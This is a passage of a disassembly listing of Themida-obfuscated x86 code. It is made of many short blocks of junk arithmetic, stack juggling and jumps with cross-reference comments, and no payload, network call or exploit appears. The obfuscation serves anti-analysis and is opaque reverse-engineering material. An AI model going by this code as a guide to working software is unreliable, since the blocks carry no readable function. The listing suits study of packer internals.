		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_566CF1
; ---------------------------------------------------------------------------


loc_569DBD:				; CODE XREF: Themida_:0056DCE6j
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	cl, 80h
		sub	bl, cl
		pop	ecx
		push	edx
		mov	dh, 23h
		xor	dh, 88h
		push	eax
		mov	ah, 30h
		jmp	loc_565B7D
; ---------------------------------------------------------------------------


loc_569DDB:				; CODE XREF: Themida_:00567909j
		push	ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		push	edx
		push	24D25B50h
		pop	edx
		shl	edx, 8
		neg	edx
		and	edx, 0E4371DCh
		xor	edx, 0C003004h
		mov	ebx, edx
		jmp	loc_5729FE
; ---------------------------------------------------------------------------


loc_569E10:				; CODE XREF: Themida_:0055D980j
		push	edx
		mov	edx, 352A7156h
		shr	edx, 3
		neg	edx
		add	edx, 7CB65B4Ch
		sub	edx, 198E7AC6h
		and	edx, 7D4A7F56h
		push	ebx
		mov	ebx, 2FBC6792h
		sub	ebx, 1FAC540Dh
		or	edx, ebx
		pop	ebx
		jmp	loc_566601
; ---------------------------------------------------------------------------


loc_569E41:				; CODE XREF: Themida_:0056A5FCj
		push	eax
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5641A8
; ---------------------------------------------------------------------------


loc_569E54:				; CODE XREF: Themida_:005623C8j
		add	ebx, ebp
		add	ebx, 40C5566Ch
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_56A65F
; ---------------------------------------------------------------------------


loc_569E67:				; CODE XREF: Themida_:00572753j
		sub	esp, 4
		mov	[esp], eax
		push	5E215AAh
		jmp	loc_56E720
; ---------------------------------------------------------------------------


loc_569E7A:				; CODE XREF: Themida_:00568659j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_569E7F:				; CODE XREF: Themida_:0056D3D0j
		pop	ecx
		pop	eax
		push	40CCh
		mov	[esp], ebx
		mov	ebx, 49C07BD2h
		or	ebx, 3D797695h
		push	edi
		push	8206802Dh
		pop	edi
		jmp	loc_564ECD
; ---------------------------------------------------------------------------


loc_569EA0:				; CODE XREF: Themida_:005689E6j
		mov	eax, 73B2CC4h
		not	eax
		not	eax
		shl	eax, 7
		neg	eax
		xor	eax, 74314A87h
		add	eax, 753139F3h
		sub	esi, eax
		jmp	loc_566929
; ---------------------------------------------------------------------------


loc_569EBF:				; CODE XREF: Themida_:0057192Bj
		add	al, bl
		push	2903h
		mov	[esp], ebx
		mov	bl, 6Eh
		push	ebx
		not	byte ptr [esp]
		pop	ebx
		not	bl
		inc	bl
		xor	bl, 4Ch
		sub	al, bl
		mov	ebx, [esp]
		jmp	loc_568674
; ---------------------------------------------------------------------------


loc_569EE1:				; CODE XREF: Themida_:005707AFj
		pop	edi
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_569EF2:				; CODE XREF: Themida_:0056E424j
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56DE1F
; ---------------------------------------------------------------------------


loc_569F15:				; CODE XREF: Themida_:005725C5j
		inc	esi
		shr	esi, 2
		jmp	loc_55E67F
; ---------------------------------------------------------------------------


loc_569F1E:				; CODE XREF: Themida_:005638D4j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 12h
		jmp	loc_562706
; ---------------------------------------------------------------------------


loc_569F43:				; CODE XREF: Themida_:0056CD14j
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_560959
; ---------------------------------------------------------------------------


loc_569F5A:				; CODE XREF: Themida_:0055F25Dj
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_564EC6
; ---------------------------------------------------------------------------


loc_569F6B:				; CODE XREF: Themida_:0056BECCj
		mov	edi, 34651826h
		xor	edi, ebx
		pop	ebx
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_569516
; ---------------------------------------------------------------------------


loc_569F89:				; CODE XREF: Themida_:005699DEj
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2B39BFECh
		push	esi
		push	ebx
		mov	ebx, 7AAE3876h
		jmp	loc_56F72B
; ---------------------------------------------------------------------------


loc_569FA3:				; CODE XREF: Themida_:005660E9j
		xor	ebp, 82FA8561h
		jmp	loc_5689B5
; ---------------------------------------------------------------------------


loc_569FAE:				; CODE XREF: Themida_:00563B67j
		mov	edi, 527B53A0h
		sub	edi, 0FFFFFFFFh
		push	edx
		jmp	loc_5630F0
; ---------------------------------------------------------------------------


loc_569FBF:				; CODE XREF: Themida_:0056BF36j
		push	534E4A7Eh
		jmp	loc_5711C3
; ---------------------------------------------------------------------------


loc_569FC9:				; CODE XREF: Themida_:0055FDF7j
		push	small 3A02h
		mov	cx, [esp]
		add	esp, 2
		push	cx
		add	word ptr [esp],	0FFFFh
		mov	cx, [esp]
		push	edi
		jmp	loc_56A8CA
; ---------------------------------------------------------------------------


loc_569FE9:				; CODE XREF: Themida_:005659BCj
		and	edx, 36DD7D02h
		xor	edx, 72243469h
		mov	edi, edx
		pop	edx
		jmp	loc_55FFC0
; ---------------------------------------------------------------------------


loc_569FFD:				; CODE XREF: Themida_:005610DAj
		push	4933h
		mov	[esp], esi
		push	ecx
		mov	ecx, 5C76CE0h
		jmp	loc_55E534
; ---------------------------------------------------------------------------


loc_56A010:				; CODE XREF: Themida_:005727DDj
		neg	al
		jmp	loc_56B03E
; ---------------------------------------------------------------------------


loc_56A017:				; CODE XREF: Themida_:0055DC82j
		mov	[esp], eax
		jmp	loc_5627B5
; ---------------------------------------------------------------------------


loc_56A01F:				; CODE XREF: Themida_:0056A9DAj
		mov	eax, ebp
		pop	ebp
		shr	eax, 5
		sub	eax, 1
		push	edi
		jmp	loc_56C1BA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5610A4
; ---------------------------------------------------------------------------


loc_56A039:				; CODE XREF: Themida_:00565068j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	eax
		mov	eax, 7DAD169Eh
		jmp	loc_564ACB
; ---------------------------------------------------------------------------


loc_56A051:				; CODE XREF: Themida_:0056C350j
		pop	ebx
		sub	esi, 208370C3h
		add	esi, edi
		add	esi, 208370C3h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5602F2
; ---------------------------------------------------------------------------


loc_56A06E:				; CODE XREF: Themida_:0056C9CAj
		and	[edi+1Ch], ecx
		jmp	loc_560833
; ---------------------------------------------------------------------------


loc_56A076:				; CODE XREF: Themida_:0055F26Dj
		neg	eax
		xchg	eax, edi
		jmp	loc_565A82
; ---------------------------------------------------------------------------


loc_56A07E:				; CODE XREF: Themida_:00565FEAj
		push	170442D5h
		pop	ecx
		and	ecx, 37C505EDh
		and	ecx, 29E55D3Bh
		dec	ecx
		xor	ecx, 23EB5022h
		push	554Bh
		mov	[esp], ecx
		pop	eax
		pop	ecx
		jmp	loc_56B5F6
; ---------------------------------------------------------------------------


loc_56A0A6:				; CODE XREF: Themida_:0056801Bj
		mov	[esp], edi
		jmp	loc_567C37
; ---------------------------------------------------------------------------


loc_56A0AE:				; CODE XREF: Themida_:00563586j
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56B233
; ---------------------------------------------------------------------------


loc_56A0BD:				; CODE XREF: Themida_:0056F2ECj
		xor	dword ptr [esp], 7C004EE8h
		pop	edi
		xor	edi, 7C004EE8h
		pop	eax
		shr	edi, 2
		dec	edi
		xor	edi, 64DB5ACEh
		jmp	loc_5600FA
; ---------------------------------------------------------------------------


loc_56A0DB:				; CODE XREF: Themida_:005654FEj
		pop	edi
		push	esi
		jmp	loc_5661D0
; ---------------------------------------------------------------------------


loc_56A0E2:				; CODE XREF: Themida_:005629F8j
		add	edi, ebp
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_567D53
; ---------------------------------------------------------------------------


loc_56A0EF:				; CODE XREF: Themida_:00564CD9j
		push	6C49h
		mov	[esp], eax
		jmp	loc_55E501
; ---------------------------------------------------------------------------


loc_56A0FC:				; CODE XREF: Themida_:00563381j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_561732
; ---------------------------------------------------------------------------


loc_56A10A:				; CODE XREF: Themida_:00561A7Dj
		sub	edi, esi
		jmp	loc_56632C
; ---------------------------------------------------------------------------


loc_56A111:				; CODE XREF: Themida_:0056B3CCj
		add	ebx, 24E475B3h
		add	ebx, edx
		sub	ebx, 24E475B3h
		jmp	loc_568A36
; ---------------------------------------------------------------------------


loc_56A124:				; CODE XREF: Themida_:0056193Cj
		sub	[esp+4], edx
		pop	edx
		jmp	loc_5663C0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56A13D:				; CODE XREF: Themida_:005645D0j
		add	dword ptr [esp], 530B5413h
		mov	ecx, [esp]
		push	ebp
		jmp	loc_56500A
; ---------------------------------------------------------------------------


loc_56A14D:				; CODE XREF: Themida_:005634A0j
		mov	edx, ecx
		mov	ebp, edx
		pop	edx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	ebp, 6
		not	ebp
		inc	ebp
		push	esi
		mov	esi, 2C3E2A2Bh
		or	esi, 603416BBh
		shl	esi, 8
		sub	esi, 3A0F21EAh
		jmp	loc_56D9B7
; ---------------------------------------------------------------------------


loc_56A187:				; CODE XREF: Themida_:0056F371j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6D5459B3h
		shl	ebx, 3
		shr	ebx, 3
		sub	ebx, 0F0C800E3h
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 44551D79h
		jmp	loc_56DE79
; ---------------------------------------------------------------------------


loc_56A1B4:				; CODE XREF: Themida_:0056D2BCj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56581A
; ---------------------------------------------------------------------------


loc_56A1BD:				; CODE XREF: Themida_:0056B2D1j
		sub	al, bh
		jmp	loc_55F093
; ---------------------------------------------------------------------------


loc_56A1C4:				; CODE XREF: Themida_:00572513j
		xor	ebp, 3D8F1D22h
		sub	ebx, ebp
		pop	ebp
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_570920
; ---------------------------------------------------------------------------


loc_56A1D7:				; CODE XREF: Themida_:0055DF85j
		mov	edi, [esp]
		jmp	loc_569BB2
; ---------------------------------------------------------------------------


loc_56A1DF:				; CODE XREF: Themida_:0057286Cj
		add	ecx, 0B4A8349Ch
		mov	ebx, ecx
		pop	ecx
		push	6C5Eh
		mov	[esp], edx
		mov	edx, 6A934972h
		inc	edx
		neg	edx
		shl	edx, 8
		sub	edx, 0FFFFFFFFh
		xor	edx, 2F23298Dh
		add	edx, 0E0967C5Fh
		or	ebx, edx
		pop	edx
		push	7587h
		mov	[esp], edi
		mov	edi, 2A2B5382h
		xor	ebx, edi
		pop	edi
		add	edi, ebx
		jmp	loc_565F36
; ---------------------------------------------------------------------------


loc_56A224:				; CODE XREF: Themida_:00567FB5j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56155E
; ---------------------------------------------------------------------------


loc_56A233:				; CODE XREF: Themida_:00567898j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5633D6
; ---------------------------------------------------------------------------


loc_56A23E:				; CODE XREF: Themida_:0056D36Cj
		add	ebp, ebx
		mov	ebx, [esp]
		push	edx
		jmp	loc_55F5AF
; ---------------------------------------------------------------------------


loc_56A249:				; CODE XREF: Themida_:0055FD77j
		add	esp, 4
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		jmp	loc_572A0D
; ---------------------------------------------------------------------------


loc_56A25E:				; CODE XREF: Themida_:0056C75Cj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	4000h
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_563AB7
; ---------------------------------------------------------------------------


loc_56A27E:				; CODE XREF: Themida_:0056703Bj
		sub	ebp, 51FECA35h
		mov	eax, ebp
		pop	ebp
		and	eax, 127C0BF7h
		jmp	loc_567083
; ---------------------------------------------------------------------------


loc_56A291:				; CODE XREF: Themida_:00562A55j
		sub	eax, edx
		add	eax, 543D71C1h
		sub	eax, 2D043819h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_56D0A4
; ---------------------------------------------------------------------------


loc_56A2AC:				; CODE XREF: Themida_:00564953j
		mov	edi, 7E005F16h
		and	ebp, edi
		jmp	loc_56EB59
; ---------------------------------------------------------------------------


loc_56A2B8:				; CODE XREF: Themida_:0055E0F1j
		pop	dword ptr [esp]
		jmp	loc_56987C
; ---------------------------------------------------------------------------


loc_56A2C0:				; CODE XREF: Themida_:0056B369j
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5605BB
; ---------------------------------------------------------------------------


loc_56A2D4:				; CODE XREF: Themida_:00560C5Ej
		xor	ebx, 705976A4h
		jmp	loc_56C52C
; ---------------------------------------------------------------------------


loc_56A2DF:				; CODE XREF: Themida_:00564FBAj
		shr	edx, 8
		xor	edx, 5AB119D7h
		xor	edx, 6641EB3Bh
		push	ebx
		jmp	loc_560939
; ---------------------------------------------------------------------------


loc_56A2F4:				; CODE XREF: Themida_:0056056Aj
		not	ebp
		add	ebp, 0BB72966h
		xor	ebp, 0F37D4C04h
		add	edi, ebp
		jmp	loc_569D07
; ---------------------------------------------------------------------------


loc_56A309:				; CODE XREF: Themida_:0056D4D5j
		pop	ebx
		jmp	loc_56F68C
; ---------------------------------------------------------------------------


loc_56A30F:				; CODE XREF: Themida_:0056882Fj
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 4
		push	1620h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56BE76
; ---------------------------------------------------------------------------


loc_56A334:				; CODE XREF: Themida_:0055E22Aj
		pop	edx
		jmp	loc_56C874
; ---------------------------------------------------------------------------


loc_56A33A:				; CODE XREF: Themida_:0055D3CCj
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	73D6h
		jmp	loc_5605DC
; ---------------------------------------------------------------------------


loc_56A34C:				; CODE XREF: Themida_:00567A5Aj
		shr	dh, 1
		xor	dh, 0BEh
		add	dh, 37h
		jmp	loc_562AAD
; ---------------------------------------------------------------------------
		push	edi
		sub	esp, 4
		mov	[esp], esi
		push	45E0439Ch
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55D4D8
; ---------------------------------------------------------------------------


loc_56A371:				; CODE XREF: Themida_:0056BA95j
		pop	edx
		pop	ebp
		mov	dword ptr [edi+20h], 7B091886h
		sub	[edi+20h], edx
		mov	edx, [esp]
		jmp	loc_567F38
; ---------------------------------------------------------------------------


loc_56A385:				; CODE XREF: Themida_:00564BB9j
		add	esp, 4
		push	eax
		mov	eax, 0
		sub	eax, 1B430862h
		jmp	loc_55FF46
; ---------------------------------------------------------------------------


loc_56A39B:				; CODE XREF: Themida_:00563C24j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_56E410
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_56A3A8:				; CODE XREF: sub_59DB3D-2CFD0j
		mov	word ptr [esp+30h+var_32+2], bx
		push	edx
		mov	dh, 0B6h
		mov	bl, dh
		pop	edx
		jmp	loc_56CA75
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_56A3B7:				; CODE XREF: Themida_:0055F6CDj
		pop	ecx
		add	ebx, 7B9A01B1h
		sub	ebx, ebp
		sub	ebx, 7B9A01B1h
		mov	ebp, [esp]
		add	esp, 4
		shr	ebx, 1
		push	eax
		jmp	loc_561318
; ---------------------------------------------------------------------------


loc_56A3D4:				; CODE XREF: Themida_:00564140j
		mov	edx, ecx
		jmp	loc_56FFD4
; ---------------------------------------------------------------------------


loc_56A3DB:				; CODE XREF: Themida_:0056D7F5j
		pop	dword ptr [edi+24h]


loc_56A3DE:				; CODE XREF: Themida_:0056F1B1j
		sub	esp, 4
		jmp	loc_570FC7
; ---------------------------------------------------------------------------


loc_56A3E9:				; CODE XREF: Themida_:00562FEEj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_57078C
; ---------------------------------------------------------------------------


loc_56A406:				; CODE XREF: Themida_:0056C8A3j
		mov	[esp], esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_572656
; ---------------------------------------------------------------------------


loc_56A428:				; CODE XREF: Themida_:0055F1F8j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56AEEE
; ---------------------------------------------------------------------------


loc_56A436:				; CODE XREF: Themida_:00561B43j
		mov	esi, eax
		jmp	loc_57271B
; ---------------------------------------------------------------------------


loc_56A43D:				; CODE XREF: Themida_:00564618j
		push	ebx
		push	751Eh
		mov	[esp], ecx
		push	edx
		push	ebx
		mov	bl, 0C1h
		mov	dh, 24h
		xor	dh, bl
		pop	ebx
		mov	cl, dh
		pop	edx
		or	cl, 94h
		jmp	loc_56356A
; ---------------------------------------------------------------------------


loc_56A45A:				; CODE XREF: Themida_:00566985j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ch, bh
		pop	ebx
		jmp	loc_55D7C8
; ---------------------------------------------------------------------------


loc_56A474:				; CODE XREF: Themida_:00565859j
		sub	dword ptr [esp+4], 5EAF1E89h
		sub	dword ptr [esp+4], 6C2C615Ah
		mov	ecx, [esp]
		jmp	loc_5697F8
; ---------------------------------------------------------------------------


loc_56A48C:				; CODE XREF: Themida_:00571BAAj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_56EB00
; ---------------------------------------------------------------------------


loc_56A497:				; CODE XREF: Themida_:00564D60j
		push	45F3h
		mov	[esp], esi
		push	eax
		mov	eax, 4
		mov	esi, eax
		mov	eax, [esp]
		jmp	loc_560EBF
; ---------------------------------------------------------------------------


loc_56A4AF:				; CODE XREF: Themida_:005633F8j
		mov	[esp], ebx
		push	ecx
		push	esi
		mov	esi, 153742F6h
		sub	esi, 728A1A64h
		sub	esi, 0A2AD286Eh
		jmp	loc_564E43
; ---------------------------------------------------------------------------


loc_56A4CA:				; CODE XREF: Themida_:00562F1Cj
		pop	eax
		add	eax, 4
		jmp	loc_55E49B
; ---------------------------------------------------------------------------


loc_56A4D5:				; CODE XREF: Themida_:00568B0Ej
		sub	eax, 922AF033h
		jmp	loc_560F41
; ---------------------------------------------------------------------------


loc_56A4DF:				; CODE XREF: Themida_:00568C02j
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		jmp	loc_563CE7
; ---------------------------------------------------------------------------


loc_56A4EC:				; CODE XREF: Themida_:0056E4DAj
		mov	[esp], edi
		jmp	loc_566FC0
; ---------------------------------------------------------------------------


loc_56A4F4:				; CODE XREF: Themida_:005615A4j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	edi
		mov	edi, 3A9A19FAh
		and	edi, 1B5154D4h
		inc	edi
		and	edi, 21F81291h
		sub	edi, 10108Dh
		add	edx, 5652542Bh
		jmp	loc_5654F6
; ---------------------------------------------------------------------------


loc_56A520:				; CODE XREF: Themida_:0056DDDBj
		mov	ecx, 749A1D0Ah
		push	ebp
		mov	ebp, 3A4036DCh
		shl	ebp, 4
		add	ebp, 0E15529Ch
		jmp	loc_56CCA3
; ---------------------------------------------------------------------------


loc_56A539:				; CODE XREF: Themida_:0055FAB9j
		sub	edi, 8E7B61Eh
		mov	esi, edi
		pop	edi
		shr	esi, 6
		jmp	loc_571E01
; ---------------------------------------------------------------------------


loc_56A54A:				; CODE XREF: Themida_:0056316Bj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	5E00h
		mov	[esp], ebx
		push	4232h
		mov	[esp], eax
		push	ebx
		push	eax
		mov	ah, dl
		jmp	loc_566B2B
; ---------------------------------------------------------------------------


loc_56A56C:				; CODE XREF: Themida_:0056914Bj
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		add	ebx, edx
		pop	edx
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56EEF5
; ---------------------------------------------------------------------------


loc_56A587:				; CODE XREF: Themida_:005619A6j
		add	edx, 0AEB3141h
		add	edx, ecx
		sub	edx, 0AEB3141h
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_570B1E
; ---------------------------------------------------------------------------


loc_56A5A9:				; CODE XREF: Themida_:00572222j
		pop	ebx
		jmp	loc_56BEBC
; ---------------------------------------------------------------------------


loc_56A5AF:				; CODE XREF: Themida_:00561B25j
		mov	ebx, 4
		jmp	loc_565C2D
; ---------------------------------------------------------------------------


loc_56A5B9:				; CODE XREF: Themida_:0055FF41j
		push	ebx
		push	ebx
		mov	ebx, 1FA84D8Dh
		sub	[esp+4], ebx
		pop	ebx
		pop	edi
		add	edi, 1FA84D8Dh
		pop	ebx
		inc	edi
		push	ebp
		jmp	loc_55EE2C
; ---------------------------------------------------------------------------


loc_56A5D4:				; CODE XREF: Themida_:0056F2A5j
		or	esi, 6BE47E06h
		jmp	loc_5617C5
; ---------------------------------------------------------------------------


loc_56A5DF:				; CODE XREF: Themida_:0056B860j
		not	ebp
		xchg	ebp, esi
		add	esi, 0CDCA5519h
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	edi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_569E41
; ---------------------------------------------------------------------------


loc_56A601:				; CODE XREF: Themida_:00562BD3j
		pop	eax
		add	ebx, 667700E9h
		jmp	loc_566CFC
; ---------------------------------------------------------------------------


loc_56A60D:				; CODE XREF: Themida_:0055E77Bj
		mov	[esp], esi
		jmp	loc_563EBD
; ---------------------------------------------------------------------------


loc_56A615:				; CODE XREF: Themida_:00569910j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		jmp	loc_56C2FE
; ---------------------------------------------------------------------------


loc_56A62B:				; CODE XREF: Themida_:00572171j
		sub	edi, 68890371h
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	7ED8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56A65F:				; CODE XREF: Themida_:00569E62j
		pop	ebx
		jmp	loc_571AD0
; ---------------------------------------------------------------------------


loc_56A665:				; CODE XREF: Themida_:005716E3j
		pop	ebp
		sub	ebp, 7BD27926h
		jmp	loc_55EFEE
; ---------------------------------------------------------------------------


loc_56A671:				; CODE XREF: Themida_:0056B449j
		push	edx
		jmp	loc_569608
; ---------------------------------------------------------------------------


loc_56A677:				; CODE XREF: Themida_:0056ABF4j
		mov	[esp], eax
		mov	ah, 0DFh
		jmp	loc_56EAF6
; ---------------------------------------------------------------------------


loc_56A681:				; CODE XREF: Themida_:00569008j
		mov	[esp], ebx
		mov	bl, al
		mov	dh, bl
		mov	ebx, [esp]
		jmp	loc_5679A3
; ---------------------------------------------------------------------------


loc_56A690:				; CODE XREF: Themida_:00571B5Dj
		pop	ebx
		add	esp, 4
		sub	al, 0AAh
		sub	al, dl
		add	al, 0AAh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edx
		push	ecx
		mov	cl, 7Fh
		add	cl, 72h
		xor	cl, 0D8h
		sub	esp, 4
		jmp	loc_55D34E
; ---------------------------------------------------------------------------


loc_56A6BC:				; CODE XREF: Themida_:00567D6Dj
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5619EA
; ---------------------------------------------------------------------------


loc_56A6CF:				; CODE XREF: Themida_:00565F25j
		dec	bx
		push	si
		jmp	loc_55E2D7
; ---------------------------------------------------------------------------


loc_56A6D8:				; CODE XREF: Themida_:005672ECj
		add	ecx, 4122014Bh
		sub	ecx, eax
		sub	ecx, 4122014Bh
		pop	eax
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5624B7
; ---------------------------------------------------------------------------


loc_56A6EF:				; CODE XREF: Themida_:0056F3E7j
		sub	dh, 0CFh
		sub	dh, 0E4h
		pop	eax
		sub	bl, 25h
		jmp	loc_571C20
; ---------------------------------------------------------------------------


loc_56A6FE:				; CODE XREF: Themida_:0056A758j
		push	edi
		push	esi
		mov	esi, 57E01D9Fh
		inc	esi
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		push	ebp
		jmp	loc_56F937
; ---------------------------------------------------------------------------


loc_56A716:				; CODE XREF: Themida_:00562AC9j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_561667
; ---------------------------------------------------------------------------


loc_56A725:				; CODE XREF: Themida_:0055E40Bj
		mov	ebp, esp
		push	eax
		push	edi
		mov	edi, 713440B3h
		shl	edi, 2
		dec	edi
		or	edi, 38024177h
		jmp	loc_5709B7
; ---------------------------------------------------------------------------


loc_56A73D:				; CODE XREF: Themida_:0056F1E6j
		pop	esi
		jmp	loc_56321D
; ---------------------------------------------------------------------------


loc_56A743:				; CODE XREF: Themida_:00570E9Aj
		pop	esi
		add	edx, 6E347053h
		add	edx, eax
		sub	edx, 6E347053h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56A6FE
; ---------------------------------------------------------------------------


loc_56A75D:				; CODE XREF: Themida_:0056817Dj
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_561D90
; ---------------------------------------------------------------------------


loc_56A76B:				; CODE XREF: Themida_:00569D83j
		mov	esi, 3EB837A2h
		add	ebx, esi
		pop	esi
		or	ebx, 62A03803h
		add	ebx, 5C96AD1Bh
		and	ecx, ebx
		jmp	loc_56D8C7
; ---------------------------------------------------------------------------


loc_56A786:				; CODE XREF: Themida_:00564920j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_56EE29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_56A7B7:				; CODE XREF: sub_59DB3D-310C6j
		pop	bx
		add	ch, 21h
		sub	ch, 0B1h
		jmp	loc_570DE7
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_56A7C4:				; CODE XREF: Themida_:0056629Ej
		sub	eax, edx
		pop	edx
		jmp	loc_56F9E1
; ---------------------------------------------------------------------------


loc_56A7CC:				; CODE XREF: Themida_:0056B052j
		xor	ecx, 420219C6h
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 566212A6h
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	3F23h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55FB5A
; ---------------------------------------------------------------------------


loc_56A7FF:				; CODE XREF: Themida_:00569158j
		sub	eax, ebx
		jmp	loc_55F788
; ---------------------------------------------------------------------------


loc_56A806:				; CODE XREF: Themida_:00565C99j
		add	bl, al
		sub	bl, 4
		sub	bl, 52h
		add	bl, 43h
		push	cx
		push	ebx
		mov	bl, 0F1h
		sub	bl, 8Ch
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dh, bl
		mov	ah, dh
		pop	edx
		jmp	loc_567724
; ---------------------------------------------------------------------------


loc_56A82A:				; CODE XREF: Themida_:0056D6E7j
		mov	ebp, 2C6018B3h
		jmp	loc_56FD1A
; ---------------------------------------------------------------------------


loc_56A834:				; CODE XREF: Themida_:00568F66j
		xchg	dh, al
		push	ebx
		mov	bl, dh
		xchg	cl, bl
		not	cl
		xchg	cl, bl
		jmp	loc_56E59C
; ---------------------------------------------------------------------------


loc_56A844:				; CODE XREF: Themida_:0056D09Fj
		xchg	esi, [esp]
		not	esi
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
